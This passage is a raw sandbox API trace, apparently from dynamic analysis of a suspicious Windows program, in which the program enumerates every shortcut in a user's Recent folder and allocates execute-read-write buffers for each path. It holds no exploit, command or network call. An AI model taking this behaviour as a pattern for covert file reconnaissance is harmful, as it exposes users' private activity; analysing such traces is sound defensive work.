returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rHf-1nu.lnk" [0054.894] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.894] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rHf-1nu.lnk") returned 74 [0054.894] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rHf-1nu.lnk") returned 74 [0054.894] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.894] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.895] lstrcmpW (lpString1="Roaming.lnk", lpString2=".") returned 1 [0054.895] lstrcmpW (lpString1="Roaming.lnk", lpString2="..") returned 1 [0054.895] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Roaming.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" [0054.895] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.895] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk") returned 74 [0054.895] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk") returned 74 [0054.895] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.895] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.895] lstrcmpW (lpString1="RorB-_IDA6hQ.lnk", lpString2=".") returned 1 [0054.895] lstrcmpW (lpString1="RorB-_IDA6hQ.lnk", lpString2="..") returned 1 [0054.895] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="RorB-_IDA6hQ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RorB-_IDA6hQ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RorB-_IDA6hQ.lnk" [0054.895] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.895] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RorB-_IDA6hQ.lnk") returned 79 [0054.895] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RorB-_IDA6hQ.lnk") returned 79 [0054.895] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.895] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.895] lstrcmpW (lpString1="S-M7mZ Js.lnk", lpString2=".") returned 1 [0054.895] lstrcmpW (lpString1="S-M7mZ Js.lnk", lpString2="..") returned 1 [0054.895] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="S-M7mZ Js.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\S-M7mZ Js.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\S-M7mZ Js.lnk" [0054.895] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.896] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\S-M7mZ Js.lnk") returned 76 [0054.896] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\S-M7mZ Js.lnk") returned 76 [0054.896] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.896] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.896] lstrcmpW (lpString1="sao0lzDqm lb1JO.lnk", lpString2=".") returned 1 [0054.896] lstrcmpW (lpString1="sao0lzDqm lb1JO.lnk", lpString2="..") returned 1 [0054.896] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="sao0lzDqm lb1JO.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sao0lzDqm lb1JO.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sao0lzDqm lb1JO.lnk" [0054.896] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.896] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sao0lzDqm lb1JO.lnk") returned 82 [0054.896] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sao0lzDqm lb1JO.lnk") returned 82 [0054.896] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.896] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.896] lstrcmpW (lpString1="sJuFZ-fNNCbjtR4EQ.lnk", lpString2=".") returned 1 [0054.896] lstrcmpW (lpString1="sJuFZ-fNNCbjtR4EQ.lnk", lpString2="..") returned 1 [0054.896] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="sJuFZ-fNNCbjtR4EQ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sJuFZ-fNNCbjtR4EQ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sJuFZ-fNNCbjtR4EQ.lnk" [0054.896] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.896] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sJuFZ-fNNCbjtR4EQ.lnk") returned 84 [0054.896] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sJuFZ-fNNCbjtR4EQ.lnk") returned 84 [0054.897] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.897] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.897] lstrcmpW (lpString1="Sl5l.lnk", lpString2=".") returned 1 [0054.897] lstrcmpW (lpString1="Sl5l.lnk", lpString2="..") returned 1 [0054.897] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Sl5l.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Sl5l.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Sl5l.lnk" [0054.897] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.897] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Sl5l.lnk") returned 71 [0054.897] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Sl5l.lnk") returned 71 [0054.897] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.897] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.897] lstrcmpW (lpString1="Slrus_KiV.lnk", lpString2=".") returned 1 [0054.897] lstrcmpW (lpString1="Slrus_KiV.lnk", lpString2="..") returned 1 [0054.897] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Slrus_KiV.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Slrus_KiV.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Slrus_KiV.lnk" [0054.897] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.897] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Slrus_KiV.lnk") returned 76 [0054.897] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Slrus_KiV.lnk") returned 76 [0054.897] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.898] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.898] lstrcmpW (lpString1="Smjrlot.lnk", lpString2=".") returned 1 [0054.898] lstrcmpW (lpString1="Smjrlot.lnk", lpString2="..") returned 1 [0054.898] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Smjrlot.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Smjrlot.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Smjrlot.lnk" [0054.898] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.898] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Smjrlot.lnk") returned 74 [0054.898] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Smjrlot.lnk") returned 74 [0054.898] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.898] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.898] lstrcmpW (lpString1="sOg89QCB_MYsMq.lnk", lpString2=".") returned 1 [0054.898] lstrcmpW (lpString1="sOg89QCB_MYsMq.lnk", lpString2="..") returned 1 [0054.898] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="sOg89QCB_MYsMq.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sOg89QCB_MYsMq.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sOg89QCB_MYsMq.lnk" [0054.898] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.898] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sOg89QCB_MYsMq.lnk") returned 81 [0054.898] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sOg89QCB_MYsMq.lnk") returned 81 [0054.898] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.898] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.898] lstrcmpW (lpString1="sq-y33jTJDe8y5s5Pm.flv.lnk", lpString2=".") returned 1 [0054.898] lstrcmpW (lpString1="sq-y33jTJDe8y5s5Pm.flv.lnk", lpString2="..") returned 1 [0054.898] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="sq-y33jTJDe8y5s5Pm.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sq-y33jTJDe8y5s5Pm.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sq-y33jTJDe8y5s5Pm.flv.lnk" [0054.898] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.899] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sq-y33jTJDe8y5s5Pm.flv.lnk") returned 89 [0054.899] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sq-y33jTJDe8y5s5Pm.flv.lnk") returned 89 [0054.899] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.899] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.899] lstrcmpW (lpString1="srk1.flv.lnk", lpString2=".") returned 1 [0054.899] lstrcmpW (lpString1="srk1.flv.lnk", lpString2="..") returned 1 [0054.899] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="srk1.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\srk1.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\srk1.flv.lnk" [0054.899] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.899] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\srk1.flv.lnk") returned 75 [0054.899] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\srk1.flv.lnk") returned 75 [0054.899] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.899] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.899] lstrcmpW (lpString1="SVN91cv_iHYxat.lnk", lpString2=".") returned 1 [0054.899] lstrcmpW (lpString1="SVN91cv_iHYxat.lnk", lpString2="..") returned 1 [0054.899] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="SVN91cv_iHYxat.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SVN91cv_iHYxat.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SVN91cv_iHYxat.lnk" [0054.899] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.899] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SVN91cv_iHYxat.lnk") returned 81 [0054.899] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SVN91cv_iHYxat.lnk") returned 81 [0054.899] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.900] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.900] lstrcmpW (lpString1="T0U3EmSD.lnk", lpString2=".") returned 1 [0054.900] lstrcmpW (lpString1="T0U3EmSD.lnk", lpString2="..") returned 1 [0054.900] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="T0U3EmSD.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T0U3EmSD.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T0U3EmSD.lnk" [0054.900] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.900] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T0U3EmSD.lnk") returned 75 [0054.900] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T0U3EmSD.lnk") returned 75 [0054.900] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.900] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.900] lstrcmpW (lpString1="T21W3FSXJ7JpSCXp.lnk", lpString2=".") returned 1 [0054.900] lstrcmpW (lpString1="T21W3FSXJ7JpSCXp.lnk", lpString2="..") returned 1 [0054.900] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="T21W3FSXJ7JpSCXp.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T21W3FSXJ7JpSCXp.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T21W3FSXJ7JpSCXp.lnk" [0054.900] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.900] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T21W3FSXJ7JpSCXp.lnk") returned 83 [0054.900] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T21W3FSXJ7JpSCXp.lnk") returned 83 [0054.900] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.900] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.900] lstrcmpW (lpString1="TCfZ31T4.lnk", lpString2=".") returned 1 [0054.900] lstrcmpW (lpString1="TCfZ31T4.lnk", lpString2="..") returned 1 [0054.900] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="TCfZ31T4.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TCfZ31T4.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TCfZ31T4.lnk" [0054.900] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.901] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TCfZ31T4.lnk") returned 75 [0054.901] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TCfZ31T4.lnk") returned 75 [0054.901] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.901] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.901] lstrcmpW (lpString1="tgUnQFz.flv.lnk", lpString2=".") returned 1 [0054.901] lstrcmpW (lpString1="tgUnQFz.flv.lnk", lpString2="..") returned 1 [0054.901] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="tgUnQFz.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tgUnQFz.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tgUnQFz.flv.lnk" [0054.901] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.901] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tgUnQFz.flv.lnk") returned 78 [0054.901] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tgUnQFz.flv.lnk") returned 78 [0054.901] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.901] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.901] lstrcmpW (lpString1="tIZlz3oLFvDkmXZ.lnk", lpString2=".") returned 1 [0054.901] lstrcmpW (lpString1="tIZlz3oLFvDkmXZ.lnk", lpString2="..") returned 1 [0054.901] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="tIZlz3oLFvDkmXZ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tIZlz3oLFvDkmXZ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tIZlz3oLFvDkmXZ.lnk" [0054.901] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.901] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tIZlz3oLFvDkmXZ.lnk") returned 82 [0054.901] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tIZlz3oLFvDkmXZ.lnk") returned 82 [0054.901] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.902] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.902] lstrcmpW (lpString1="tlE6ao_mfe1zAPU.lnk", lpString2=".") returned 1 [0054.902] lstrcmpW (lpString1="tlE6ao_mfe1zAPU.lnk", lpString2="..") returned 1 [0054.902] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="tlE6ao_mfe1zAPU.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tlE6ao_mfe1zAPU.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tlE6ao_mfe1zAPU.lnk" [0054.902] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.902] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tlE6ao_mfe1zAPU.lnk") returned 82 [0054.902] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tlE6ao_mfe1zAPU.lnk") returned 82 [0054.902] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.902] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.902] lstrcmpW (lpString1="TrUGiHFGXsM_7X.lnk", lpString2=".") returned 1 [0054.902] lstrcmpW (lpString1="TrUGiHFGXsM_7X.lnk", lpString2="..") returned 1 [0054.902] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="TrUGiHFGXsM_7X.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TrUGiHFGXsM_7X.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TrUGiHFGXsM_7X.lnk" [0054.902] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.902] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TrUGiHFGXsM_7X.lnk") returned 81 [0054.902] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TrUGiHFGXsM_7X.lnk") returned 81 [0054.902] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.902] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.902] lstrcmpW (lpString1="U53LX.lnk", lpString2=".") returned 1 [0054.902] lstrcmpW (lpString1="U53LX.lnk", lpString2="..") returned 1 [0054.902] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="U53LX.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U53LX.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U53LX.lnk" [0054.902] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.903] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U53LX.lnk") returned 72 [0054.903] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U53LX.lnk") returned 72 [0054.903] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.903] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.903] lstrcmpW (lpString1="UmYv.lnk", lpString2=".") returned 1 [0054.903] lstrcmpW (lpString1="UmYv.lnk", lpString2="..") returned 1 [0054.903] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="UmYv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UmYv.lnk") 